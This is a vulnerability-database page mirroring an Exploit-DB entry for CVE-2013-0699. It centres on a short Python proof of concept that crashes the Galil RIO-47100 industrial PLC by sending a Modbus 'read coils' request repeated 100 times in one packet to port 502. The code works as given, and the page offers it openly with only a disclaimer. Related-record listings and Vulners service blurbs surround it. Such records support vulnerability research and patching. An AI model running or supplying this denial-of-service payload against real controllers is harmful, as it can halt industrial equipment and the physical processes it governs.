Lucene search
K

Galil-RIO Modbus - Denial of Service

🗓️ 27 Jul 2013 00:00:00Reported by SaplingType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Galil-RIO Modbus Denial of Service exploit targeting Rio Firmware Prior to 1.1

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Galil-RIO Modbus - Denial of Service Vulnerability
27 Jul 201300:00
zdt
0day.today
Galil-RIO Modbus - Denial of Service
3 Aug 201300:00
zdt
CVE
CVE-2013-0699
1 May 201310:00
cve
Cvelist
CVE-2013-0699
1 May 201310:00
cvelist
exploitpack
Galil-RIO Modbus - Denial of Service
27 Jul 201300:00
exploitpack
ICS
Galil RIO-47100 Improper Input Validation
28 Jan 201307:00
ics
NVD
CVE-2013-0699
1 May 201312:00
nvd
Packet Storm
Galil-RIO Modbus Denial Of Service
27 Jul 201300:00
packetstorm
Prion
Design/Logic Flaw
1 May 201312:00
prion
RedhatCVE
CVE-2013-0699
22 May 202506:12
redhatcve
Rows per page
# Exploit Title: Galil RIO-47100
# Date: 05-01-2013
# Exploit Author: Sapling
# Vendor Homepage: www.galilmc.com
# Version: Rio Firmware Prior to 1.1d
# CVE : CVE-2013-0699
# ICSA: ICSA-13-116-01

/* There are many different ways to crash this PLC but most of them are
centralized around the repeating a request in a single packet format. So
read a coil repeated in a single packet.
The Rio-47100 by Galil is a small PLC with an internal RISC based
processor. It communicates using ModBus, or Telnet over Ethernet as well as
having a web server built in that allows a user to issue commands.
I take no responsibility for the use of this code and using this code you
agree to take responsibility for your own actions. */


# Python Proof of concept
# A quick run down of the last half start at \x06
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x01 coil quantity
# Repeat the request in the packet 100 times
# Unfortunateley I can't remember the minimum number of times you have to
repeat to cause the crash

import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2013 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 27.1
EPSS0.16464
25